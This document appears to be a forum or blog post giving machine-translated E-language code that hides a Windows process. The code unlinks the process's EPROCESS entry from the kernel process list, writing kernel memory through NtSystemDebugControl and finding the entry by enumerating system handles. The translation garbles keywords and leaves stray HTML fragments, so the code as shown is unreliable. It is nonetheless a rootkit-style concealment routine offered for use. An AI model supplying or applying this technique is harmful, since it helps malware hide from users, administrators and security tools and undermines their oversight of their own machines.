Llame fácilmente a la API del lenguaje para ocultar procesos
Las subrutinas ocultan procesos, lógica y público
. El parámetro pid, entero, vacío, vacío significa ocultar este proceso, puede ingresar el PID de otros procesos
. Eproceso de variable local, largo
. Mano de variable local, número entero
. Temperatura de variable local, matriz de bytes
. Variable local fw_, larga
. Variable local bw_, larga
. Variable local fw, matriz de bytes
. Variable local bw, conjunto de bytes
. if (pid está vacío)
hand = OpenProcess (2075311, 0, GetCurrentProcessId ())
eprocess = buscar proceso EProcess (GetCurrentProcessId ())
CloseHandle (mano)
. De lo contrario
eprocess = buscar proceso EProcess (pid)
.Si final
. Si es verdadero (eprocess = 0)
devuelve (falso)
. Si es verdadero, finaliza
temp = leer la memoria física (eprocess + 136, 4)
. Si es verdadero (temp = { })
devuelve (falso)
. Finalizar si es verdadero
fw_ = recuperar datos del conjunto de bytes (temp, # entero largo,)
fw = temp
temp = leer memoria física (eprocess + 140, 4)
.Si es verdadero (temp = { })
devuelve (falso)
. Si es verdadero, final
bw_ = recuperar datos del conjunto de bytes (temp, # entero largo,)
bw = temp
Si es verdadero (escribe la memoria física (fw_ +). 4, bw) =-1)
Devuelve (falso)
. Si es verdadero, finalice
. Si es verdadero (escribe memoria física (bw_, fw) =-1)
devuelve (falso)
. Si es verdadero, finalice
Regresar (verdadero)
//Leer la memoria física
. Versión 2
Subrutina Lectura de memoria física, matriz de bytes
. Dirección del parámetro, entero largo
. Longitud del parámetro, número entero, <=4096
. Variable local MEMORY_CHUNKS, matriz de bytes
. Variable local ret, matriz de bytes
.
Variable local retlen, entero
ret = fetch_blank_byteset (longitud)
MEMORY_CHUNKS = fetch_byteset_left (to_byteset_(dirección), 4) + to_byteset (fetch_pointer_to_byteset_(ret, ret, 0)) + to_byteset_ (longitud)
NtSystemDebugControl (#SysDbgReadVirtualMemory, MEMORY_CHUNKS, 12, 0, 0, retlen) ' 12 es la longitud de MEMORY_CHUNKS
. Si es verdadero (retlen ≤ 0)
ret = { }
. Si es verdadero, finaliza
regresa (ret)
// Escribe en la memoria física
. Versión 2
. Subrutina Escribe memoria física, número entero
Dirección de parámetro, número entero largo
. Datos de parámetros, conjunto de bytes, <=4096
Variables locales MEMORY_CHUNKS, conjunto de bytes
. Variable local ret, número entero
. Variable local retlen, número entero
. Variable local len, entero
len = fetch_length_of_byteset (datos)
MEMORY_CHUNKS = fetch_left_of_byteset (to_byteset_(dirección), 4) + to_byteset (fetch_pointer_to_byteset_(datos, datos, 0)) + to_byteset (len)
. NtSystemDebugControl (#SysDbgWriteVirtualMemory, MEMORY_CHUNKS, 12, 0, 0, retlen) ' 12 es la longitud de MEMORY_CHUNKS
. Si es verdadero (retlen ≤ 0)
ret = -1
.Si es verdadero final
devuelve (ret)
// Ocupa el proceso EProcess
Versión 2
. La subrutina toma el proceso EProcess, un número entero largo
. Parámetro pid, número entero
. Ret de variable local
. Bloque de información de variable local, grupo de bytes
. Variable local retlen
Variable local temp, SYSTEM_HANDLE_INFORMATION
. Desplazamiento del puntero del bloque de información de variable local
. Número de variable local
Resultado de variable local, tipo entero largo
retlen = 1
. Bucle para determinar la primera vez ()
Bloque de información = buscar conjunto de bytes en blanco (retlen)
ret = ZwQuerySystemInformation (#system_handle_infomation, bloque de información, retlen, 0)
.
if (ret = #STATUS_INFO_LENGTH_MISMATCH)
retlen = retlen × 2
InfoBlock = Recuperar conjunto de bytes en blanco (retlen)
De lo contrario
. Salir del bucle ()
.if end
. Fin de bucle (ret = #STATUS_INFO_LENGTH_MISMATCH)
Desplazamiento del puntero del bloque de información = Fetch_Pointer_ByteSet (bloque de información, bloque de información, 0)
RtlMoveMemory3 (número, desplazamiento del puntero_infoblock, 4)
Bloque de información desplazamiento del puntero = desplazamiento del puntero del bloque de información + 4
Calcula el primer bucle (número,)
RtlMoveMemory2 (temp, desplazamiento del puntero del bloque de información, 16)
p>Retorno (hex a largo (tome texto hexadecimal (temp.Object))
.Finalizar si es verdadero p>
Desplazamiento del puntero del bloque de información = Desplazamiento del puntero del bloque de información + 16
.Cuenta al final del bucle ()
Devuelve (0)
Esto es el código, usando el controlador de escritura para ocultar el proceso, esto se copia porque el código es muy largo, así que no lo escribí yo mismo